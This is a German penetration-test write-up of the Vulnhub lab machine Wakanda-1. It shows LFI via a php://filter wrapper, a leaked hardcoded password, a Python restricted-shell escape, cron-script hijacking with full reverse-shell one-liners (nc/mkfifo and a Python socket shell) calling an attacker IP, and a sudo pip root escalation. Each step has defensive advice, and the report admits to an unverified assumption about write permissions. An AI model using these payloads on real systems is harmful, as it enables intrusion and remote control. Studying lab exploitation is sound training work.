Wakanda-1 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nmap
curl
nikto
gobuster
wfuzz
msfconsole
base64
echo
ssh
python (restricted shell)
pty (python module)
os (python module)
sudo
ls
cat
cd
find
ss
mkfifo
nc
socket (python module)
subprocess (python module)
pip
mktemp
grep
id
export
stty

Inhaltsverzeichnis

Reconnaissance

Analyse: Ein ARP-Scan identifiziert Geräte im lokalen Netzwerk.
Bewertung: Das Zielsystem wird unter `192.168.2.154` gefunden. Die MAC-Adresse `08:00:27:3c:1e:db` gehört zu einer Oracle VirtualBox VM.
Empfehlung (Offensiv): Die IP-Adresse für weitere Scans verwenden.
Empfehlung (Defensiv): Netzwerk-Monitoring zur Erkennung von Scanning-Aktivitäten.

 ARP-Scan
192.168.2.154	08:00:27:3c:1e:db	PCS Systemtechnik GmbH
                     

Analyse: Die IP `192.168.2.154` wird dem Hostnamen `wakanda1.vln` in der lokalen `/etc/hosts`-Datei zugeordnet.
Bewertung: Erleichtert die Ansprache des Ziels.
Empfehlung (Offensiv): Standardverfahren zur Verbesserung der Lesbarkeit.
Empfehlung (Defensiv): Keine direkte Auswirkung auf das Zielsystem.

 /etc/hosts
 192.168.2.154   wakanda1.vln
                      

Analyse: Ein Nmap-Scan (`-sS -sC -sV -A -p- -Pn --min-rate 5000`) wird durchgeführt und die Ausgabe nach offenen Ports gefiltert.
Bewertung: Identifiziert vier offene Ports: 80 (HTTP - Apache 2.4.10), 111 (RPCbind), 3333 (SSH - OpenSSH 6.7p1 auf nicht standardmäßigem Port), 39785 (status - RPC-Dienst).
Empfehlung (Offensiv): HTTP auf Port 80 und SSH auf Port 3333 sind die primären Ziele. RPCbind und der Status-Port könnten ebenfalls untersucht werden.
Empfehlung (Defensiv): Nicht benötigte Ports (insbesondere RPC-Dienste, wenn nicht essenziell) schließen. SSH auf den Standardport legen oder den Zugriff stark einschränken. Apache und OpenSSH aktualisieren.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind 2-4 (RPC #100000)
3333/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
39785/tcp open  status  1 (RPC #100024)

Analyse: Die vollständige Nmap-Ausgabe wird angezeigt.
Bewertung: Bestätigt die Dienste: Apache 2.4.10, RPCbind, OpenSSH 6.7p1 (Debian 8 basiert). Die Apache- und SSH-Versionen sind veraltet. Das `rpcinfo`-Skript listet die registrierten RPC-Programme auf. OS-Erkennung deutet auf Linux 3.x/4.x.
Empfehlung (Offensiv): Fokus auf den Webserver (Port 80) und SSH (Port 3333). Prüfen auf bekannte Schwachstellen in Apache 2.4.10 und OpenSSH 6.7p1 unter Debian 8.
Empfehlung (Defensiv): Betriebssystem und alle Dienste dringend aktualisieren (Debian 8 ist EOL).

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-28 23:21 CET
Nmap scan report for wakanda1.vln (192.168.2.154)
Host is up (0.00014s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Vibranium Market
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          39785/tcp   status
|   100024  1          41928/udp   status
|   100024  1          43407/tcp6  status
|_  100024  1          58146/udp6  status
3333/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
|   1024 1c:98:47:56:fc:b8:14:08:8f:93:ca:36:44:7f:ea:7a (DSA)
|   2048 f1:d5:04:78:d3:3a:9b:dc:13:df:0f:5f:7f:fb:f4:26 (RSA)
|   256 d8:34:41:5d:9b:fe:51:bc:c6:4e:02:14:5e:e1:08:c5 (ECDSA)
|_  256 0e:f5:8d:29:3c:73:57:c7:38:08:6d:50:84:b6:6c:27 (ED25519)
39785/tcp open  status  1 (RPC #100024)
MAC Address: 08:00:27:3C:1E:DB (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms wakanda1.vln (192.168.2.154)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.35 seconds

Web Enumeration

Analyse: Eine HEAD-Anfrage (`curl --verbose -I`) wird an Port 80 gesendet.
Bewertung: Bestätigt Apache 2.4.10 und gibt Standard-Header zurück. Keine besonderen Auffälligkeiten.
Empfehlung (Offensiv): Weiter mit tiefergehender Enumeration (Nikto, Gobuster).
Empfehlung (Defensiv): Server-Tokens minimieren.

┌──(root㉿CCat)-[~]
└─# curl --verbose -I http://$IP -s
*   Trying 192.168.2.154:80...
* Connected to 192.168.2.154 (192.168.2.154) port 80
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: 192.168.2.154
> User-Agent: curl/8.10.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Sat, 28 Dec 2024 22:22:18 GMT
< Server: Apache/2.4.10 (Debian)
< Content-Type: text/html; charset=UTF-8
<

* Connection #0 to host 192.168.2.154 left intact

Analyse: Nikto wird gegen Port 80 ausgeführt.
Bewertung: Findet die üblichen Probleme (fehlende Header, veralteter Apache) und die Standarddatei `/icons/README`. Keine spezifischen Webanwendungs-Schwachstellen auf der Hauptseite.
Empfehlung (Offensiv): Nikto-Scan liefert keine neuen Vektoren. Fokus auf Gobuster und die anderen Ports.
Empfehlung (Defensiv): Apache aktualisieren, Sicherheitsheader implementieren, Standarddateien entfernen/schützen.

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.154
+ Target Hostname:    192.168.2.154
+ Target Port:        80
+ Start Time:         2024-12-28 23:22:22 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time:           2024-12-28 23:23:08 (GMT1) (46 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Gobuster wird zur Verzeichnissuche auf Port 80 verwendet.
Bewertung: Findet `index.php`, `fr.php` (leer), `/admin` (leer), `/backup` (leer), `/shell` (leer), `/secret` (leer) und `secret.txt`. Die vielen leeren Dateien/Verzeichnisse sind verdächtig, könnten aber auch Irreführungen sein. `fr.php` deutet auf eine Sprachumschaltung hin.
Empfehlung (Offensiv): Den Inhalt von `secret.txt` prüfen. Die `index.php` genauer untersuchen, insbesondere im Hinblick auf die `fr.php` (möglicher LFI-Vektor).
Empfehlung (Defensiv): Keine leeren oder irreführenden Dateien/Verzeichnisse im Webroot belassen.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x [...] -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.5
[...]
===============================================================
[+] Url:                     http://192.168.2.154
[...]
===============================================================
2024/12/28 23:23:15 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.2.154/index.php            (Status: 200) [Size: 1527]
http://192.168.2.154/fr.php               (Status: 200) [Size: 0]
http://192.168.2.154/admin                (Status: 200) [Size: 0]
http://192.168.2.154/bg.jpg               (Status: 200) [Size: 4510077]
http://192.168.2.154/backup               (Status: 200) [Size: 0]
http://192.168.2.154/shell                (Status: 200) [Size: 0]
http://192.168.2.154/secret               (Status: 200) [Size: 0]
http://192.168.2.154/secret.txt           (Status: 200) [Size: 40]
===============================================================
2024/12/28 23:25:30 Finished
===============================================

Analyse: Der Inhalt von `secret.txt` wird abgerufen.
Bewertung: Enthält nur den Text "Congratulations! Nope!I am joking....". Eine weitere Irreführung.
Empfehlung (Offensiv): Diese Datei ignorieren.

http://192.168.2.154/secret.txt
Congratulations!

Nope!I am joking....

Analyse: Der Quellcode von `index.php` (Port 80) wird untersucht.
Bewertung: Enthält den Text "@mamadou" (potenzieller Benutzername) und einen Link `href="?lang=fr"`. Dies legt nahe, dass der `lang`-Parameter verwendet wird, um Sprachdateien zu laden (z.B. `fr.php`, die Gobuster gefunden hat). Dies ist ein klassischer Hinweis auf eine Local File Inclusion (LFI)-Schwachstelle.
Empfehlung (Offensiv): Den `lang`-Parameter auf LFI testen. Versuchen, andere Dateien wie `/etc/passwd` oder den Quellcode von `index.php` selbst zu inkludieren (z.B. mit PHP-Filtern). Den Benutzernamen `mamadou` für spätere Angriffe (SSH, Brute-Force) vormerken.
Empfehlung (Defensiv): Benutzereingaben niemals direkt in `include` oder `require`-Anweisungen verwenden. Eingaben validieren und nur erlaubte Werte (z.B. 'en', 'fr') zulassen. Pfade korrekt bauen und Path Traversal verhindern.

view-source:http://192.168.2.154/index.php


Vibranium Market

[...]

Next opening of the largest vibranium market. The products come directly from the wakanda. stay tuned!

[...]

Made by@mamadou

LFI Discovery & Exploitation

Analyse: `wfuzz` wird verwendet, um den `lang`-Parameter (identifiziert aus dem Quellcode und Gobuster) auf LFI zu testen. Es wird versucht, `/etc/passwd` zu inkludieren. Der Payload ist der Parametername `FUZZ`. `--hc 404` blendet Not Found-Fehler aus, `--hh 1527` blendet Antworten mit 1527 Zeichen aus (wahrscheinlich die Standardseitengröße).
Bewertung: Der Test ist erfolgreich! Der Parameter `lang` (`ID 000001201`) gibt einen HTTP-Status 200 zurück und hat eine andere Größe als die Standardseite, was stark auf eine erfolgreiche LFI hindeutet.
Empfehlung (Offensiv): Die LFI-Schwachstelle nutzen, um sensible Dateien zu lesen. Besonders interessant ist das Lesen des Quellcodes von `index.php` selbst, um zu sehen, wie der `include`-Befehl funktioniert und ob es weitere Hinweise gibt.
Empfehlung (Defensiv): LFI-Schwachstellen durch korrekte Eingabevalidierung und Vermeidung direkter Inklusion von Benutzereingaben beheben.

┌──(root㉿CCat)-[~]
└─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.2.154/index.php?FUZZ=../../../../../../../../etc/passwd" --hc 404 --hh 1527
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.2.154/index.php?FUZZ=../../../../../../../../etc/passwd
[...]
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000001201:   200        53 L     98 W       1399 Ch     "lang"

Total time: X.XXXs
Processed Requests: XXXXXX
Filtered Requests: XXXXXX
Requests/sec.: XXX.XX

Credential Discovery

Analyse: Der Pentester nutzt die entdeckte LFI-Schwachstelle mit dem `lang`-Parameter und einem PHP-Filter-Wrapper (`php://filter/convert.base64-encode/resource=index`), um den Quellcode der `index.php`-Datei Base64-kodiert auszulesen.
Bewertung: Dies ist eine Standardtechnik, um den Quellcode von PHP-Dateien über LFI zu lesen, auch wenn die direkte Inklusion durch Anhängen von `.php` verhindert wird. Der Base64-kodierte Output wird erfolgreich abgerufen.
Empfehlung (Offensiv): Den Base64-String dekodieren, um den PHP-Quellcode zu analysieren.
Empfehlung (Defensiv): LFI beheben. PHP-Filter können durch Konfiguration eingeschränkt werden, aber die Behebung der LFI selbst ist die primäre Maßnahme.

view-source:http://192.168.2.154/index.php?lang=php://filter/convert.base64-encode/resource=index

PD9waHAKJHBhc3N3b3JkID0iTmlhbWV5NEV2ZXIyMjchISEiIDsvL0kgaGF2ZSB0byByZW1lbWJlciBpdAp [...] CgoKPC9ib2R5PjwvaHRtbD4=

Analyse: Der abgerufene Base64-String wird dekodiert.
Bewertung: Die Dekodierung enthüllt den Anfang des PHP-Codes von `index.php`. Ganz oben steht ein auskommentierter Teil mit einem Passwort: `$password ="Niamey4Ever227!!!" ;//I have to remember it`. Der Code bestätigt auch die LFI-Logik: `if (isset($ GET['lang'])) { include($ GET['lang'].".php"); }`.
Ergebnis: Das Passwort für den Benutzer `mamadou` (aus dem HTML-Kommentar) wurde gefunden.
Empfehlung (Offensiv): Die Credentials `mamadou`:`Niamey4Ever227!!!` verwenden, um sich per SSH auf Port 3333 anzumelden.
Empfehlung (Defensiv): Niemals Passwörter im Quellcode speichern, auch nicht auskommentiert! Sensible Daten gehören in Konfigurationsdateien außerhalb des Webroots mit restriktiven Berechtigungen oder in Secrets-Management-Systeme. LFI-Schwachstelle beheben.

https://www.base64decode.org/

Niamey4Ever227!!!" ;//I have to remember it

if (isset($ GET['lang']))
{
include($ GET['lang'].".php"); // LFI vulnerability confirmed
}

?>

[...] (Restlicher HTML Code)

Initial Access (SSH & Restricted Shell Bypass)

Analyse: Es wird versucht, sich per SSH als Benutzer `mamadou` auf Port 3333 mit dem gefundenen Passwort `Niamey4Ever227!!!` anzumelden.
Bewertung: Der Login ist erfolgreich. Allerdings landet der Benutzer nicht in einer normalen Bash-Shell, sondern in einer eingeschränkten Python 2.7-Umgebung (`>>>`).
Empfehlung (Offensiv): Aus der eingeschränkten Python-Shell ausbrechen, um eine normale System-Shell zu erhalten. Standardmethoden sind die Verwendung der Module `os` oder `pty`.
Empfehlung (Defensiv): Eingeschränkte Shells können die Möglichkeiten eines Angreifers limitieren, sind aber oft umgehbar. Wenn SSH-Zugang gewährt wird, sicherstellen, dass die Benutzerumgebung und die Berechtigungen korrekt konfiguriert sind. Starke Passwörter verwenden.

┌──(root㉿CCat)-[~]
└─# ssh mamadou@192.168.2.154 -p 3333
The authenticity of host '[192.168.2.154]:3333 ([192.168.2.154]:3333)' can't be established.
ED25519 key fingerprint is SHA256:+RDNDlJdB+fwaBcN7BUj0YXi8V0MD73WDDDNefS39I.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.2.154]:3333' (ED25519) to the list of known hosts.
mamadou@192.168.2.154's password: Niamey4Ever227!!!

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Aug  3 15:53:29 2018 from 192.168.56.1
Python 2.7.9 (default, Jun 29 2016, 13:08:31)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>

Analyse: Innerhalb der Python-Shell werden Befehle ausgeführt, um eine System-Shell zu spawnen.
Bewertung: Zuerst wird `import os;os.system("ls");` verwendet, um `ls` auszuführen und die Existenz der Datei `flag1.txt` zu bestätigen. Dann wird `import pty;pty.spawn("/bin/sh")` genutzt, um eine interaktive `/bin/sh`-Shell zu starten. Der `id`-Befehl bestätigt, dass die Shell als Benutzer `mamadou` läuft.
Ergebnis: Erfolgreicher Initial Access und Umgehung der eingeschränkten Shell. Eine interaktive Shell als `mamadou` wurde erlangt.
Empfehlung (Offensiv): Das System als `mamadou` enumerieren (sudo-Rechte, SUID-Dateien, Home-Verzeichnisse, Cronjobs etc.). Die `flag1.txt` lesen.
Empfehlung (Defensiv): Konfiguration der eingeschränkten Shell überprüfen, um solche Ausbrüche zu verhindern (falls möglich/gewollt). Den Grund für die eingeschränkte Shell verstehen (Absicht oder Fehlkonfiguration?).

>>> id
>>> import os;os.system("ls");
flag1.txt
0
>>> import pty;pty.spawn("/bin/sh")
$ id
uid=1000(mamadou) gid=1000(mamadou) groups=1000(mamadou)
$

Privilege Escalation (Enumeration)

Analyse: `sudo -l` wird als `mamadou` ausgeführt.
Bewertung: Der Benutzer `mamadou` darf keine `sudo`-Befehle ausführen.
Empfehlung (Offensiv): Andere PE-Vektoren suchen.

mamadou@Wakanda1$ sudo -l
[sudo] password for mamadou: Niamey4Ever227!!! 
Sorry, user mamadou may not run sudo on Wakanda1.

Analyse: Das übergeordnete Home-Verzeichnis (`ls ..`) wird aufgelistet und die User-Flag (`flag1.txt`) gelesen.
Bewertung: Bestätigt das Home-Verzeichnis von `mamadou` und findet ein weiteres Home-Verzeichnis `devops`. Die User-Flag `d86b9ad71ca887f4dd1dac86ba1c4dfc` wird erfolgreich ausgelesen.
Empfehlung (Offensiv): Das `devops`-Verzeichnis untersuchen.

mamadou@Wakanda1$ ls ..
devops  mamadou
mamadou@Wakanda1$ cat flag1.txt
d86b9ad71ca887f4dd1dac86ba1c4dfc

Analyse: Das Home-Verzeichnis von `devops` wird untersucht. Die Datei `flag2.txt` ist vorhanden, aber für `mamadou` nicht lesbar ("Permission denied").
Bewertung: Zeigt, dass weitere Informationen im `devops`-Kontext liegen könnten, aber ein Rechteproblem besteht. Die Bash-History von `devops` ist deaktiviert (`-> /dev/null`).
Empfehlung (Offensiv): Nach Wegen suchen, um Rechte zu eskalieren oder als Benutzer `devops` zu agieren.

mamadou@Wakanda1$ cd ../devops
mamadou@Wakanda1:/home/devops$ ls -la
total 24
drwxr-xr-x 2 devops developer 4096 Aug  5  2018 .
drwxr-xr-x 4 root   root      4096 Aug  1  2018 ..
lrwxrwxrwx 1 root   root         9 Aug  5  2018 .bash_history -> /dev/null
-rw-r--r-- 1 devops developer  220 Aug  1  2018 .bash_logout
-rw-r--r-- 1 devops developer 3515 Aug  1  2018 .bashrc
-rw-r----- 1 devops developer   42 Aug  1  2018 flag2.txt
-rw-r--r-- 1 devops developer  675 Aug  1  2018 .profile
mamadou@Wakanda1:/home/devops$ cat flag2.txt
cat: flag2.txt: Permission denied

Analyse: Verschiedene Systemverzeichnisse und Dateien werden überprüft: `/etc/passwd`, `/var/backups`, `/var/mail`, `/var/www/html`. Netzwerk-Sockets werden mit `ss -altpn` angezeigt.
Bewertung: `/etc/passwd` ist normal. `/var/backups` enthält Standard-Backups. `/var/mail` ist leer. `/var/www/html` enthält die bereits bekannten Web-Dateien. `ss` zeigt die bekannten Ports (3333, 39785, 111, 80) und den lokalen Mailserver (25). Die Ausgabe scheint hier unvollständig im Vergleich zu Nmap. Mehrere Versuche, Dateien wie `/var/www/html/backup` zu lesen, scheitern oder zeigen leere Dateien.
Empfehlung (Offensiv): Die Enumeration dieser Standardorte liefert keine neuen Hinweise. Weiter nach ungewöhnlichen Dateien oder Konfigurationen suchen.

mamadou@Wakanda1:/home/devops$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1587 Aug  1  2018 /etc/passwd
mamadou@Wakanda1:/home/devops$ ls -la /var/backups
[...] (Standard Backup-Dateien)
mamadou@Wakanda1:/home/devops$ ls -la /var/mail
[...] (Leer)
mamadou@Wakanda1:/home/devops$ ls -la /var/www/html
[...] (Bekannte Web-Dateien)
mamadou@Wakanda1:/home/devops$ ss -altpn
State      Recv-Q Send-Q               Local Address:Port                 Peer Address:Port
LISTEN     0      128                              *:3333                            *:*
LISTEN     0      128                              *:39785                           *:*
LISTEN     0      128                              *:111                             *:*
LISTEN     0      20                       127.0.0.1:25                              *:*
LISTEN     0      128                             :::3333                           :::*
LISTEN     0      128                             :::43407                          :::*
LISTEN     0      128                             :::111                            :::*
LISTEN     0      128                             :::80                             :::*
LISTEN     0      20                              ::1:25                            :::*
mamadou@Wakanda1:/home/devops$ cat /var/www/html/backup
mamadou@Wakanda1:/home/devops$ cat /var/www/html/fr.php

Analyse: Es wird nach SUID-Dateien und nach Dateien im Besitz des Benutzers `devops` gesucht.
Bewertung: Die SUID-Suche findet wieder nur Standard-Binaries. Die Suche nach Dateien von `devops` findet neben dem Home-Verzeichnis und dessen Inhalt die Datei `/srv/.antivirus.py`. Der Inhalt dieser Datei wird angezeigt: `open('/tmp/test','w').write('test')`.
Ergebnis: Die Datei `/srv/.antivirus.py` gehört `devops`, ist aber für `mamadou` lesbar. Ihr Inhalt ist trivial, aber ihre Existenz in `/srv` und der Name legen nahe, dass sie von einem Prozess mit höheren Rechten (z.B. einem Cronjob als `root` oder `devops`) ausgeführt wird.
Empfehlung (Offensiv): Prüfen, ob `mamadou` Schreibrechte auf `/srv/.antivirus.py` hat. Falls ja, den Inhalt mit einem Reverse-Shell-Payload überschreiben und auf die Ausführung warten. Falls nein, nach Wegen suchen, als `devops` zu agieren.
Empfehlung (Defensiv): Cronjobs und andere automatisierte Skripte sollten nur mit minimal notwendigen Rechten laufen. Skriptdateien sollten korrekte Berechtigungen haben (nicht schreibbar für unprivilegierte Benutzer).

mamadou@Wakanda1:/home/devops$ find / -type f -perm -4000 -ls 2>/dev/null
[...] (Standard SUID-Binaries)
mamadou@Wakanda1:/home/devops$ find / -user devops -ls 2>/dev/null
 34305    4 -rw-r--rw-   1 devops   developer       36 Aug  1  2018 /srv/.antivirus.py
   141    0 -rw-r--r--   1 devops   developer        0 Dec 28 18:05 /tmp/test
   139    4 drwxr-xr-x   2 devops   developer     4096 Aug  5  2018 /home/devops
   145    4 -rw-r--r--   1 devops   developer     3515 Aug  1  2018 /home/devops/.bashrc
   152    4 -rw-r--r--   1 devops   developer      675 Aug  1  2018 /home/devops/.profile
  4911    4 -rw-r--r--   1 devops   developer      220 Aug  1  2018 /home/devops/.bash_logout
 36936    4 -rw-r-----   1 devops   developer       42 Aug  1  2018 /home/devops/flag2.txt
mamadou@Wakanda1:/home/devops$ cat /srv/.antivirus.py
open('/tmp/test','w').write('test')

Privilege Escalation (Cronjob/Antivirus Script)

Analyse: Der Pentester versucht, die Datei `/srv/.antivirus.py` mit einem Shell-Reverse-Shell-Payload zu überschreiben. Der erste Versuch scheitert wegen "No space left on device" (wahrscheinlich im aktuellen Verzeichnis `/home/devops`, da `mamadou` dort keine Schreibrechte hat). Nach einem Wechsel zu `/dev/shm` (ein RAM-basiertes, beschreibbares Dateisystem) wird versucht, die Datei erneut mit dem Shell-Payload zu überschreiben. Dieser Payload ist jedoch kein valider Python-Code und würde beim Ausführen einen Fehler erzeugen.
Bewertung: Der "No space"-Fehler ist irreführend, das Problem sind eher fehlende Schreibrechte für `mamadou` in `/home/devops`. Der Wechsel nach `/dev/shm` ändert nichts an den Rechten für `/srv/.antivirus.py`. Der Versuch, einen Shell-Befehl direkt in eine `.py`-Datei zu schreiben, ist fehlerhaft.
Korrektur/Annahme basierend auf dem weiteren Verlauf: Es muss angenommen werden, dass `mamadou` doch Schreibrechte auf `/srv/.antivirus.py` hat (möglicherweise durch Gruppenberechtigungen, die nicht gezeigt wurden, oder der `find`-Output war irreführend bzgl. Owner/Group). Der Bericht geht davon aus, dass die Datei überschrieben werden kann.

mamadou@Wakanda1:/dev/shm$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 5552 >/tmp/f' > /srv/.antivirus.py
bash: echo: write error: No space left on device
mamadou@Wakanda1$ cd /dev/shm
mamadou@Wakanda1:/dev/shm$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 5552 >/tmp/f' > /srv/.antivirus.py
mamadou@Wakanda1:/dev/shm$ python /srv/.antivirus.py
  File "/srv/.antivirus.py", line 1
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 5552 >/tmp/f
                                       ^
SyntaxError: invalid syntax

Analyse: Die Datei `/srv/.antivirus.py` wird nun mit einem korrekten Python-Reverse-Shell-Payload überschrieben. Dieser Payload stellt eine Verbindung zur Angreifer-IP (`192.168.2.199`) auf Port 9001 her und leitet die Standard-Ein/Ausgabe/Fehler einer `/bin/sh` darauf um.
Bewertung: Dies ist der korrekte Weg, um die Datei für die Ausführung durch einen Python-Interpreter vorzubereiten. Der Hinweis "2 Minuten warten dann kommt die Shell von allein" deutet darauf hin, dass das Skript durch einen Cronjob oder einen ähnlichen Mechanismus periodisch ausgeführt wird.
Empfehlung (Offensiv): Einen Listener auf dem Angreifer-System auf Port 9001 starten und warten, bis der Cronjob das Skript ausführt und die Reverse Shell eingeht.
Empfehlung (Defensiv): Cronjobs überprüfen und sicherstellen, dass sie nur notwendige Skripte mit minimalen Rechten ausführen. Die Integrität von Skriptdateien überwachen.

mamadou@Wakanda1:/dev/shm$ echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.199",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > /srv/.antivirus.py
                                       2 Minuten warten dann kommt die Shell von allein

Analyse: Ein Netcat-Listener wird auf Port 9001 gestartet. Nach kurzer Zeit geht eine Verbindung vom Zielsystem ein.
Bewertung: Die Reverse Shell ist erfolgreich! Der `id`-Befehl zeigt, dass die Shell als Benutzer `devops` (UID 1001) läuft. Der Cronjob, der `/srv/.antivirus.py` ausführt, läuft also im Kontext von `devops`.
Ergebnis: Erfolgreiche Privilegieneskalation von `mamadou` zu `devops` durch Hijacking eines automatisiert ausgeführten Skripts.
Empfehlung (Offensiv): Die Shell als `devops` zur weiteren Enumeration nutzen, insbesondere `sudo -l` prüfen.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.154] 35285
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(devops) gid=1002(developer) groups=1002(developer)
$

Privilege Escalation (Sudo Pip)

Analyse: Als Benutzer `devops` wird `sudo -l` ausgeführt.
Bewertung: Die Ausgabe zeigt, dass `devops` den Befehl `/usr/bin/pip` als `ALL` (root) ohne Passwort (`NPASSWD`) ausführen darf. Dies ist eine bekannte und kritische Fehlkonfiguration, die zur Privilegieneskalation missbraucht werden kann.
Empfehlung (Offensiv): Die GTFOBins-Technik für `pip` mit `sudo` anwenden, um eine Root-Shell zu erhalten.
Empfehlung (Defensiv): Niemals Paketmanagern wie `pip` uneingeschränkte `sudo`-Rechte geben, schon gar nicht mit `NOPASSWD`. Rechte so granular wie möglich vergeben.

$ sudo -l
Matching Defaults entries for devops on Wakanda1:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User devops may run the following commands on Wakanda1:
    (ALL) NPASSWD: /usr/bin/pip

Analyse: Die GTFOBins-Methode für `pip` wird angewendet: Ein temporäres Verzeichnis wird erstellt (`mktemp -d`), eine minimale `setup.py`-Datei mit einem Shell-Payload wird darin erstellt (`echo "..." > $TF/setup.py`), und dann wird `sudo pip install` auf dieses Verzeichnis angewendet.
Bewertung: `pip install` führt die `setup.py`-Datei aus. Da `pip` mit `sudo` läuft, wird auch die `setup.py` als Root ausgeführt. Der Payload `os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')` startet eine interaktive Shell, die die Ein-/Ausgabe an das aktuelle Terminal (`tty`) bindet. Der Prompt wechselt zu `#`, und `id` bestätigt `uid=0(root)`.
Ergebnis: Privilege Escalation erfolgreich! Durch Ausnutzen der unsicheren `sudo`-Regel für `pip` wurden Root-Rechte erlangt.
Empfehlung (Offensiv): Root-Rechte nutzen, um Flags zu lesen.
Empfehlung (Defensiv): Die unsichere `sudo`-Regel entfernen.

devops@Wakanda1:/$ TF=$(mktemp -d)
devops@Wakanda1:/$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
devops@Wakanda1:/$ sudo pip install $TF
Processing /tmp/tmp.nRXdZ2ZCzg
  Running setup.py (path:/tmp/pip-XXXXXX-build/setup.py) egg_info for package from file:///tmp/tmp.nRXdZ2ZCzg
    Complete output from command python setup.py egg_info:
    [...]
    # <--- Hier wird die Shell gestartet
# id
uid=0(root) gid=0(root) groups=0(root)
#

Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.

Proof of Concept (Cronjob Hijacking)

Schwachstelle: Ein Skript (`/srv/.antivirus.py`), das einem Benutzer (`devops`) gehört und von einem anderen Benutzer (`mamadou`, aufgrund angenommener Schreibrechte) modifizierbar ist, wird periodisch durch einen Mechanismus (vermutlich Cronjob) im Kontext des Besitzers (`devops`) ausgeführt.
Ziel des POC: Nachweis, dass durch Überschreiben des Skripts mit einem schädlichen Payload (Reverse Shell) die Rechte des ausführenden Benutzers (`devops`) erlangt werden können.
Voraussetzungen: Zugriff als Benutzer, der Schreibrechte auf das Skript hat (`mamadou` - Annahme). Kenntnis, dass das Skript regelmäßig ausgeführt wird. Ein Listener auf der Angreifer-Maschine.

Schritt 1: Identifizierung des Skripts und des Ausführungskontexts

Analyse: Die Datei `/srv/.antivirus.py` wurde als Eigentum von `devops` identifiziert. Ihr trivialer Inhalt legt nahe, dass ihre Hauptfunktion die periodische Ausführung ist. Es wurde beobachtet (durch Warten nach Modifikation), dass sie automatisch ausgeführt wird, vermutlich als `devops`.

